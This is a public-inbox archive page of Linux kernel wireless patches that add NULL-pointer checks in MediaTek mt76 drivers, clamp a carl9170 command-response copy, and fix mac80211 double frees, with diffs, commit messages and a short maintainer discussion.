+	const struct ieee80211_eht_cap_elem_fixed *ve;
+	const struct ieee80211_sta_eht_cap *vc;
 	u8 snd_dim, sts;
 
+	vc = mt76_connac_get_eht_phy_cap(phy->mt76, vif);
+	if (!vc)
+		return;
+
 	bf->tx_mode = MT_PHY_TYPE_EHT_MU;
+	ve = &vc->eht_cap_elem;
 
 	mt7996_mcu_sta_sounding_rate(bf, phy);
 

-- 
2.54.0


^ permalink raw reply related

* [PATCH 3/4] wifi: mt76: mt7996: check pointer returned by mt76_connac_get_he_phy_cap()
From: Lorenzo Bianconi @ 2026-06-21 13:25 UTC (permalink / raw)
  To: Felix Fietkau, Ryder Lee, Shayne Chen, Sean Wang,
	Matthias Brugger, AngeloGioacchino Del Regno, Leon Yen, Hao Zhang,
	Nelson Yu, Rong Yan, Money Wang, Bo Jiao, StanleyYP Wang,
	Howard Hsu, Evelyn Tsai, Lorenzo Bianconi, Mingyen Hsieh
  Cc: linux-wireless, linux-arm-kernel, linux-mediatek, Quan Zhou,
	Deren Wu, MeiChia Chiu
In-Reply-To: <20260621-mt76_connac_get_he_phy_cap-fix-v1-0-ed4ccf7a0363@kernel.org>

mt76_connac_get_he_phy_cap routine can theoretically return NULL so
check cap pointer before dereferencing it.

Fixes: 98686cd21624c ("wifi: mt76: mt7996: add driver for MediaTek Wi-Fi 7 (802.11be) devices")
Signed-off-by: Lorenzo Bianconi <lorenzo@kernel.org>
---
 drivers/net/wireless/mediatek/mt76/mt7996/mcu.c | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c b/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c
index f119f023bcd5..c868b1356894 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c
@@ -935,6 +935,8 @@ mt7996_mcu_bss_he_tlv(struct sk_buff *skb, struct ieee80211_vif *vif,
 	struct tlv *tlv;
 
 	cap = mt76_connac_get_he_phy_cap(phy->mt76, vif);
+	if (!cap)
+		return;
 
 	tlv = mt7996_mcu_add_uni_tlv(skb, UNI_BSS_INFO_HE_BASIC, sizeof(*he));
 
@@ -1855,17 +1857,18 @@ mt7996_mcu_sta_bfer_he(struct ieee80211_link_sta *link_sta,
 {
 	struct ieee80211_sta_he_cap *pc = &link_sta->he_cap;
 	struct ieee80211_he_cap_elem *pe = &pc->he_cap_elem;
-	const struct ieee80211_sta_he_cap *vc =
-		mt76_connac_get_he_phy_cap(phy->mt76, vif);
-	const struct ieee80211_he_cap_elem *ve = &vc->he_cap_elem;
 	u16 mcs_map = le16_to_cpu(pc->he_mcs_nss_supp.rx_mcs_80);
 	u8 nss_mcs = mt7996_mcu_get_sta_nss(mcs_map);
+	const struct ieee80211_he_cap_elem *ve;
+	const struct ieee80211_sta_he_cap *vc;
 	u8 snd_dim, sts;
 
+	vc = mt76_connac_get_he_phy_cap(phy->mt76, vif);
 	if (!vc)
 		return;
 
 	bf->tx_mode = MT_PHY_TYPE_HE_SU;
+	ve = &vc->he_cap_elem;
 
 	mt7996_mcu_sta_sounding_rate(bf, phy);
 

-- 
2.54.0


^ permalink raw reply related

* [PATCH 2/4] wifi: mt76: mt7925: fix possible NULL-pointer deref in mt7925_mcu_bss_he_tlv()
From: Lorenzo Bianconi @ 2026-06-21 13:25 UTC (permalink / raw)
  To: Felix Fietkau, Ryder Lee, Shayne Chen, Sean Wang,
	Matthias Brugger, AngeloGioacchino Del Regno, Leon Yen, Hao Zhang,
	Nelson Yu, Rong Yan, Money Wang, Bo Jiao, StanleyYP Wang,
	Howard Hsu, Evelyn Tsai, Lorenzo Bianconi, Mingyen Hsieh
  Cc: linux-wireless, linux-arm-kernel, linux-mediatek, Quan Zhou,
	Deren Wu, MeiChia Chiu
In-Reply-To: <20260621-mt76_connac_get_he_phy_cap-fix-v1-0-ed4ccf7a0363@kernel.org>

mt76_connac_get_he_phy_cap routine can theoretically return NULL so
check cap pointer before dereferencing it.

Fixes: c948b5da6bbec ("wifi: mt76: mt7925: add Mediatek Wi-Fi7 driver for mt7925 chips")
Signed-off-by: Lorenzo Bianconi <lorenzo@kernel.org>
---
 drivers/net/wireless/mediatek/mt76/mt7925/mcu.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/mcu.c b/drivers/net/wireless/mediatek/mt76/mt7925/mcu.c
index e94fa544ff20..cb265a6fc7ad 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/mcu.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/mcu.c
@@ -2773,6 +2773,8 @@ mt7925_mcu_bss_he_tlv(struct sk_buff *skb, struct ieee80211_bss_conf *link_conf,
 	struct tlv *tlv;
 
 	cap = mt76_connac_get_he_phy_cap(phy->mt76, link_conf->vif);
+	if (!cap)
+		return;
 
 	tlv = mt76_connac_mcu_add_tlv(skb, UNI_BSS_INFO_HE_BASIC, sizeof(*he));
 

-- 
2.54.0


^ permalink raw reply related

* [PATCH 1/4] wifi: mt76: connac: fix possible NULL-pointer deref in mt76_connac_mcu_uni_bss_he_tlv()
From: Lorenzo Bianconi @ 2026-06-21 13:24 UTC (permalink / raw)
  To: Felix Fietkau, Ryder Lee, Shayne Chen, Sean Wang,
	Matthias Brugger, AngeloGioacchino Del Regno, Leon Yen, Hao Zhang,
	Nelson Yu, Rong Yan, Money Wang, Bo Jiao, StanleyYP Wang,
	Howard Hsu, Evelyn Tsai, Lorenzo Bianconi, Mingyen Hsieh
  Cc: linux-wireless, linux-arm-kernel, linux-mediatek, Quan Zhou,
	Deren Wu, MeiChia Chiu
In-Reply-To: <20260621-mt76_connac_get_he_phy_cap-fix-v1-0-ed4ccf7a0363@kernel.org>

mt76_connac_get_he_phy_cap routine can theoretically return NULL so
check cap pointer before dereferencing it.

Fixes: d0e274af2f2e4 ("mt76: mt76_connac: create mcu library")
Signed-off-by: Lorenzo Bianconi <lorenzo@kernel.org>
---
 drivers/net/wireless/mediatek/mt76/mt76_connac_mcu.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/drivers/net/wireless/mediatek/mt76/mt76_connac_mcu.c b/drivers/net/wireless/mediatek/mt76/mt76_connac_mcu.c
index 6596c9e198f4..58b0b15e4fd6 100644
--- a/drivers/net/wireless/mediatek/mt76/mt76_connac_mcu.c
+++ b/drivers/net/wireless/mediatek/mt76/mt76_connac_mcu.c
@@ -1458,6 +1458,8 @@ mt76_connac_mcu_uni_bss_he_tlv(struct mt76_phy *phy, struct ieee80211_vif *vif,
 	struct bss_info_uni_he *he;
 
 	cap = mt76_connac_get_he_phy_cap(phy, vif);
+	if (!cap)
+		return;
 
 	he = (struct bss_info_uni_he *)tlv;
 	he->he_pe_duration = vif->bss_conf.htc_trig_based_pkt_ext;

-- 
2.54.0


^ permalink raw reply related

* [PATCH 0/4] wifi: mt76: fix some possible NULL-pointer dereferences
From: Lorenzo Bianconi @ 2026-06-21 13:24 UTC (permalink / raw)
  To: Felix Fietkau, Ryder Lee, Shayne Chen, Sean Wang,
	Matthias Brugger, AngeloGioacchino Del Regno, Leon Yen, Hao Zhang,
	Nelson Yu, Rong Yan, Money Wang, Bo Jiao, StanleyYP Wang,
	Howard Hsu, Evelyn Tsai, Lorenzo Bianconi, Mingyen Hsieh
  Cc: linux-wireless, linux-arm-kernel, linux-mediatek, Quan Zhou,
	Deren Wu, MeiChia Chiu


---
Lorenzo Bianconi (4):
      wifi: mt76: connac: fix possible NULL-pointer deref in mt76_connac_mcu_uni_bss_he_tlv()
      wifi: mt76: mt7925: fix possible NULL-pointer deref in mt7925_mcu_bss_he_tlv()
      wifi: mt76: mt7996: check pointer returned by mt76_connac_get_he_phy_cap()
      wifi: mt76: mt7996: fix possible NULL-pointer deref in mt7996_mcu_sta_bfer_eht()

 drivers/net/wireless/mediatek/mt76/mt76_connac_mcu.c |  2 ++
 drivers/net/wireless/mediatek/mt76/mt7925/mcu.c      |  2 ++
 drivers/net/wireless/mediatek/mt76/mt7996/mcu.c      | 18 +++++++++++++-----
 3 files changed, 17 insertions(+), 5 deletions(-)
---
base-commit: 50a7f9f9d48eb50c0e95bef53358acb5af5cb3c6
change-id: 20260621-mt76_connac_get_he_phy_cap-fix-2b3068d4d074

Best regards,
-- 
Lorenzo Bianconi <lorenzo@kernel.org>


^ permalink raw reply

* Re: [PATCH] wifi: carl9170: clamp command response copy to the read buffer size
From: Doruk (0sec) @ 2026-06-21 10:24 UTC (permalink / raw)
  To: chunkeey, chunkeey, johannes, jeff.johnson, tristmd, kartikey406
  Cc: linux-wireless, linux-kernel, stable
In-Reply-To: <a2bc98ef-fae5-4309-9066-452ee780fe04@gmail.com>

Hi Christian
sorry for the dup, didn't see Tristan's version; feel free to ignore mine :)

cheers
Doruk

DORUK TAN ÖZTÜRK

Co-Founder


0sec

Universitätstrasse 33

8006 Zürich, Switzerland

www.0sec.ai | doruk@0sec.ai | Linkedin



On Sun, 21 Jun 2026 at 10:17, Christian Lamparter <chunkeey@gmail.com> wrote:
>
> Hi,
>
> On 6/20/26 12:48 AM, Doruk Tan Ozturk wrote:
> > carl9170_cmd_callback() copies len - 4 bytes from the device command
> > response into ar->readbuf, which was allocated by the caller with
> > ar->readlen bytes. When the firmware/device returns a response whose
> > payload is larger than the requested ar->readlen, the mismatch is only
> > logged (and the device is restarted via carl9170_restart()); the code
> > then still performs the full-length memcpy(), writing past the end of
> > ar->readbuf -- an out-of-bounds write driven by an attacker-controlled
> > (malicious/compromised) carl9170 USB device.
> >
> > Clamp the copy to ar->readlen so an over-sized response can never write
> > past the caller's buffer. A response that fails the length check is
> > already discarded by the restart, so copying only the buffer-sized
> > prefix changes nothing for the valid path.
>
> This is contested territory.
> <https://lore.kernel.org/linux-wireless/26e33fea-c81e-48f4-a058-4b3bf0dc95c5@gmail.com/>
>
> Original patch (as part of a series is from Tristan Madani)
> <https://lore.kernel.org/linux-wireless/20260421134929.325662-2-tristmd@gmail.com/>
>
> Yes, I do think each came up with the patch individually. But I have no idea how
> this works with three authors / tools? Does anyone? I don't think this will get
> any better though.
>
> > Reported-by: syzbot+5c1ca6ccaa1215781cac@syzkaller.appspotmail.com
> > Tested-by: syzbot+5c1ca6ccaa1215781cac@syzkaller.appspotmail.com
> > Closes: https://syzkaller.appspot.com/bug?extid=5c1ca6ccaa1215781cac
> > Fixes: a84fab3cbfdc ("carl9170: 802.11 rx/tx processing and usb backend")
> > Cc: stable@vger.kernel.org
> > Signed-off-by: Doruk Tan Ozturk <doruk@0sec.ai>
> > ---
> > Verified with syzbot via "#syz test" against the public C reproducer
> > (Tested-by above); I do not have carl9170 hardware locally.
> >
> >   drivers/net/wireless/ath/carl9170/rx.c | 3 ++-
> >   1 file changed, 2 insertions(+), 1 deletion(-)
> >
> > diff --git a/drivers/net/wireless/ath/carl9170/rx.c b/drivers/net/wireless/ath/carl9170/rx.c
> > index 908c4c8..897e682 100644
> > --- a/drivers/net/wireless/ath/carl9170/rx.c
> > +++ b/drivers/net/wireless/ath/carl9170/rx.c
> > @@ -150,7 +150,8 @@ static void carl9170_cmd_callback(struct ar9170 *ar, u32 len, void *buffer)
> >       spin_lock(&ar->cmd_lock);
> >       if (ar->readbuf) {
> >               if (len >= 4)
> > -                     memcpy(ar->readbuf, buffer + 4, len - 4);
> > +                     memcpy(ar->readbuf, buffer + 4,
> > +                            min_t(unsigned int, len - 4, ar->readlen));
> >
> >               ar->readbuf = NULL;
> >       }
>
> Regards,
> Christian

^ permalink raw reply

* [PATCH wireless 2/2] wifi: mac80211: fix fils_discovery double free on alloc failure
From: Xiang Mei @ 2026-06-21  9:35 UTC (permalink / raw)
  To: johannes, linux-wireless; +Cc: Weiming Shi, linux-kernel, Xiang Mei
In-Reply-To: <20260621093532.884188-1-xmei5@asu.edu>

ieee80211_set_fils_discovery() calls kfree_rcu() on the old template
before allocating the replacement. If the kzalloc() then fails, it
returns -ENOMEM while link->u.ap.fils_discovery still points at the
object already queued for freeing. A later update or AP teardown
(ieee80211_stop_ap()) re-queues that same rcu_head; the second free is
caught by KASAN when the RCU sheaf is processed in softirq:

  BUG: KASAN: double-free in rcu_free_sheaf (mm/slub.c:5850)
  Free of addr ffff88800c065280 by task swapper/0/0
   ...
   __rcu_free_sheaf_prepare (mm/slub.c:2634 mm/slub.c:2940)
   rcu_free_sheaf (mm/slub.c:5850)
   rcu_core (kernel/rcu/tree.c:2617 kernel/rcu/tree.c:2869)
   handle_softirqs (kernel/softirq.c:622)
  The buggy address belongs to the cache kmalloc-96 of size 96

Queue the old object for kfree_rcu() only after the new one is published,
matching ieee80211_set_probe_resp() and ieee80211_set_s1g_short_beacon().

Fixes: 3b1c256eb4ae ("wifi: mac80211: fixes in FILS discovery updates")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/mac80211/cfg.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/net/mac80211/cfg.c b/net/mac80211/cfg.c
index e926bced6..0bc10136b 100644
--- a/net/mac80211/cfg.c
+++ b/net/mac80211/cfg.c
@@ -1145,9 +1145,6 @@ static int ieee80211_set_fils_discovery(struct ieee80211_sub_if_data *sdata,
 	fd->max_interval = params->max_interval;
 
 	old = sdata_dereference(link->u.ap.fils_discovery, sdata);
-	if (old)
-		kfree_rcu(old, rcu_head);
-
 	if (params->tmpl && params->tmpl_len) {
 		new = kzalloc(sizeof(*new) + params->tmpl_len, GFP_KERNEL);
 		if (!new)
@@ -1159,6 +1156,9 @@ static int ieee80211_set_fils_discovery(struct ieee80211_sub_if_data *sdata,
 		RCU_INIT_POINTER(link->u.ap.fils_discovery, NULL);
 	}
 
+	if (old)
+		kfree_rcu(old, rcu_head);
+
 	*changed |= BSS_CHANGED_FILS_DISCOVERY;
 	return 0;
 }
-- 
2.43.0


^ permalink raw reply related

* [PATCH wireless 1/2] wifi: mac80211: fix unsol_bcast_probe_resp double free on alloc failure
From: Xiang Mei @ 2026-06-21  9:35 UTC (permalink / raw)
  To: johannes, linux-wireless; +Cc: Weiming Shi, linux-kernel, Xiang Mei

ieee80211_set_unsol_bcast_probe_resp() calls kfree_rcu() on the old
template before allocating the replacement. If the kzalloc() then fails,
it returns -ENOMEM while link->u.ap.unsol_bcast_probe_resp still points
at the object already queued for freeing. A later update or AP teardown
re-queues that same rcu_head; the second free is caught by KASAN when the
RCU sheaf is processed in softirq:

  BUG: KASAN: double-free in rcu_free_sheaf (mm/slub.c:5850)
  Free of addr ffff88800d06f300 by task exploit/145
   ...
   __rcu_free_sheaf_prepare (mm/slub.c:2634 mm/slub.c:2940)
   rcu_free_sheaf (mm/slub.c:5850)
   rcu_core (kernel/rcu/tree.c:2617 kernel/rcu/tree.c:2869)
   handle_softirqs (kernel/softirq.c:622)
  The buggy address belongs to the cache kmalloc-128 of size 128

Queue the old object for kfree_rcu() only after the new one is published,
matching ieee80211_set_probe_resp() and ieee80211_set_s1g_short_beacon().

Fixes: 3b1c256eb4ae ("wifi: mac80211: fixes in FILS discovery updates")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/mac80211/cfg.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/net/mac80211/cfg.c b/net/mac80211/cfg.c
index f9ee9947a..e926bced6 100644
--- a/net/mac80211/cfg.c
+++ b/net/mac80211/cfg.c
@@ -1178,8 +1178,6 @@ ieee80211_set_unsol_bcast_probe_resp(struct ieee80211_sub_if_data *sdata,
 	link_conf->unsol_bcast_probe_resp_interval = params->interval;
 
 	old = sdata_dereference(link->u.ap.unsol_bcast_probe_resp, sdata);
-	if (old)
-		kfree_rcu(old, rcu_head);
 
 	if (params->tmpl && params->tmpl_len) {
 		new = kzalloc(sizeof(*new) + params->tmpl_len, GFP_KERNEL);
@@ -1192,6 +1190,9 @@ ieee80211_set_unsol_bcast_probe_resp(struct ieee80211_sub_if_data *sdata,
 		RCU_INIT_POINTER(link->u.ap.unsol_bcast_probe_resp, NULL);
 	}
 
+	if (old)
+		kfree_rcu(old, rcu_head);
+
 	*changed |= BSS_CHANGED_UNSOL_BCAST_PROBE_RESP;
 	return 0;
 }
-- 
2.43.0


^ permalink raw reply related


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox